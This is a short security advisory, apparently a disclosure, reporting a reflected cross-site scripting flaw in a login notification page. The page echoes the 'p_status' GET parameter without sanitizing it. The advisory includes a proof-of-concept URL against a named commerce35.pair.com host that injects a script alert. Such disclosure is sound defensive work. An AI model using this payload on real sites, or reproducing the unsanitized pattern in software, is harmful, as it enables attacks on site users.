Author: Max Dietz
Description: After logging in, the message displayed to the user is stored
in a GET request, on which no sanitizing is done
PoC:
https://commerce35.pair.com/inres/notify/index.php?action=loginform&p_status=<script>javascript:alert("HELLO");</script
>